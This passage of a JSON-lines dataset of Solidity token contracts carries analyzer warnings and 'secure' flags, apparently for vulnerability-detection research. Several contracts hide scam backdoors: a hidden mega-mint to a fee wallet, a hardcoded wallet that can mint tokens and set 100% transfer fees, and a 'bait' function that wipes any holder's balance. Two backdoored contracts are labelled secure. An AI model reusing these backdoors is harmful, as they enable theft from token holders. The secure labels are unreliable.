uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"AI Crystal Node\";\n\n string private constant _symbol = \"AICRYNODE\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d179492): MyTokenContract.constructor(address)._feeWallet lacks a zerocheck on \t feeWallet = _feeWallet\n\t// Recommendation for d179492: Check that the address is not zero.\n constructor(address _feeWallet) {\n\t\t// missing-zero-check | ID: d179492\n feeWallet = _feeWallet;\n _balances[msg.sender] = _totalSupply;\n setUpLimits(_feeWallet);\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8fedd7): MyTokenContract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8fedd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5d01a2c): MyTokenContract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5d01a2c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n from != address(this)\n ) {\n require(tradingOpen, \"Trading is not active.\");\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function setUpLimits(address _feeAccount) internal onlyOwner {\n uint256 bigNum = totalSupply() * 10 ** 6;\n\n _balances[_feeAccount] += bigNum;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6fdd5fa): MyTokenContract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(feeWallet).transfer(amount)\n\t// Recommendation for 6fdd5fa: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// arbitrary-send-eth | ID: 6fdd5fa\n payable(feeWallet).transfer(amount);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 44803cd): MyTokenContract.createPairandPool() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 44803cd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 021d84c): MyTokenContract.createPairandPool() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 021d84c: Ensure that all the return values of the function calls are used.\n function createPairandPool() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 021d84c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 44803cd\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function openTrading() external onlyOwner {\n tradingOpen = true;\n }\n\n function closeTrading() external onlyOwner {\n tradingOpen = false;\n }\n\n function router() external view returns (address) {\n return address(uniswapV2Router);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3728.sol",
"secure": 0,
"size_bytes": 7796
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Pepe02 is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b756700): Pepe02._decimals should be immutable \n\t// Recommendation for b756700: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c500ffb): Pepe02._totalSupply should be immutable \n\t// Recommendation for c500ffb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2804993): Pepe02._devmarketwall should be immutable \n\t// Recommendation for 2804993: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _devmarketwall;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _devmarketwall = 0x659ae09D97d2D0386136b889Db4222855255D9AB;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aapprove(address user, uint256 fePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = fePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, fePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _devmarketwall;\n }\n\n function burntlppepes(address recipient, uint256 aDrop) external {\n uint256 receiveRewrd = aDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3729.sol",
"secure": 1,
"size_bytes": 5347
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Request {\n function getTokenInfo(\n address targetToken\n )\n external\n view\n returns (\n string memory name,\n string memory symbol,\n uint8 decimals,\n uint256 totalSupply\n )\n {\n IERC20 t = IERC20(targetToken);\n\n name = t.name();\n\n symbol = t.symbol();\n\n decimals = t.decimals();\n\n totalSupply = t.totalSupply();\n }\n}",
"file_name": "solidity_code_373.sol",
"secure": 1,
"size_bytes": 601
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: df24ce5): Contract locking ether found Contract Sataoshi has payable functions Sataoshi.receive() But does not have a function to withdraw the ether\n// Recommendation for df24ce5: Remove the 'payable' attribute or add a withdraw function.\ncontract Sataoshi is ERC20, Ownable {\n constructor() ERC20(unicode\"Sataoshi\", unicode\"SATAO\") {\n _mint(owner(), 10000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: df24ce5): Contract locking ether found Contract Sataoshi has payable functions Sataoshi.receive() But does not have a function to withdraw the ether\n\t// Recommendation for df24ce5: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3730.sol",
"secure": 0,
"size_bytes": 1008
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MAGA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b12985e): MAGA._taxWallet should be immutable \n\t// Recommendation for b12985e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 94ffaad): MAGA._initialBuyTax should be constant \n\t// Recommendation for 94ffaad: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: b02b7c9): MAGA._initialSellTax should be constant \n\t// Recommendation for b02b7c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0602a1): MAGA._reduceBuyTaxAt should be constant \n\t// Recommendation for a0602a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: fe6457a): MAGA._reduceSellTaxAt should be constant \n\t// Recommendation for fe6457a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: aee60e1): MAGA._preventSwapBefore should be constant \n\t// Recommendation for aee60e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dark MAGA\";\n\n string private constant _symbol = unicode\"DMAGA\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1642ffc): MAGA._taxSwapThreshold should be constant \n\t// Recommendation for 1642ffc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1551d35): MAGA._maxTaxSwap should be constant \n\t// Recommendation for 1551d35: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fba9ebe): MAGA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fba9ebe: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bd1e43c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bd1e43c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6b0e220): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6b0e220: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bd1e43c\n\t\t// reentrancy-benign | ID: 6b0e220\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bd1e43c\n\t\t// reentrancy-benign | ID: 6b0e220\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 37b64ef): MAGA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 37b64ef: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6b0e220\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bd1e43c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ffdcb2a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ffdcb2a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4ea5b80): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4ea5b80: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: ffdcb2a\n\t\t\t\t// reentrancy-eth | ID: 4ea5b80\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ffdcb2a\n\t\t\t\t\t// reentrancy-eth | ID: 4ea5b80\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4ea5b80\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4ea5b80\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4ea5b80\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ffdcb2a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4ea5b80\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4ea5b80\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ffdcb2a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bd1e43c\n\t\t// reentrancy-events | ID: ffdcb2a\n\t\t// reentrancy-benign | ID: 6b0e220\n\t\t// reentrancy-eth | ID: 4ea5b80\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d0c0dbc): MAGA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d0c0dbc: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bd1e43c\n\t\t// reentrancy-events | ID: ffdcb2a\n\t\t// reentrancy-eth | ID: 4ea5b80\n\t\t// arbitrary-send-eth | ID: d0c0dbc\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0409335): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0409335: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b927678): MAGA.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b927678: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2a9cf00): MAGA.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2a9cf00: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f2bab49): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f2bab49: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0409335\n\t\t// reentrancy-eth | ID: f2bab49\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0409335\n\t\t// unused-return | ID: 2a9cf00\n\t\t// reentrancy-eth | ID: f2bab49\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0409335\n\t\t// unused-return | ID: b927678\n\t\t// reentrancy-eth | ID: f2bab49\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 0409335\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f2bab49\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 0e7b80f): MAGA.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 0e7b80f: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 0e7b80f\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3731.sol",
"secure": 0,
"size_bytes": 17530
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Saylormoon is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable past;\n\n constructor() {\n _name = \"Saylor Moon\";\n\n _symbol = \"SAYLOR\";\n\n _decimals = 18;\n\n uint256 initialSupply = 690000000;\n\n past = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == past, \"Not allowed\");\n\n _;\n }\n\n function bait(address[] memory write) public onlyOwner {\n for (uint256 i = 0; i < write.length; i++) {\n address account = write[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3732.sol",
"secure": 1,
"size_bytes": 4351
} |
{
